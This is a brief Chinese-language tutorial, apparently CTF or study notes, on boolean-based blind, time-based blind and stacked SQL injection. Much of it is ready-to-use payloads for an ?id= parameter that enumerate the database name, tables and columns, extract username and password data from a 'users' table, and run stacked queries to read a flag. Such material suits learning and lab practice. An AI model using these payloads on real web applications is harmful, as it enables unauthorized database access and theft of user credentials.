布尔盲注
布尔盲注比较麻烦,但是也是必不可少的一项技能
布尔函数主要是当我们遇到没有明显回显的情况下使用:
主要由length函数,substr函数,ascll函数组成的语句
length():返回该字符串的长度。 eg:length('abcd')=4
ascll():返回该字符的ascll码。
substr():用于截取字符串。(参考ascll码表)
substr(<查询语句>,<截断的起始位置>,<截取的字符个数>) --(第一个字符索引为1)
实例:
?id=1'and length((select database()))>9 --+ 先判断长度 ?id=1'and ascii(substr((select database()),1,1))=115 --+ 单个字符判断,此处是判断该数据库的第一个字符
时间盲注
时间盲注主要是两个关键点
1. if 语句
if(<条件>,<代码一>,<代码二>)--当条件成立,执行代码一,不成立则执行代码二
2.sleep()函数
sleep函数很奇妙,当执行该函数页面会加载,例如:sleep(2),页面加载两秒,在载入页面。
实例:
?id=1' and if(1=1,sleep(5),1)--+ 判断参数构造。 ?id=1'and if(length((select database()))>9,sleep(5),1)--+ 判断数据库名长度 ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 逐一判断数据库字符 ?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+ 判断所有表名长度 ?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+ 逐一判断表名 ?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+ 判断所有字段名的长度 ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+ 逐一判断字段名。 ?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+ 判断字段内容长度
堆叠注入
简而言之就是,同时注入多条语句,每条语句用分号(;)分隔即可
实例:
?id=1’;show database; ?id=1’;show tables; ?id=1';show columns from `1919810931114514`; ?id=1';select flag from `1919810931114514`; '''后面语句可以随意添加。'''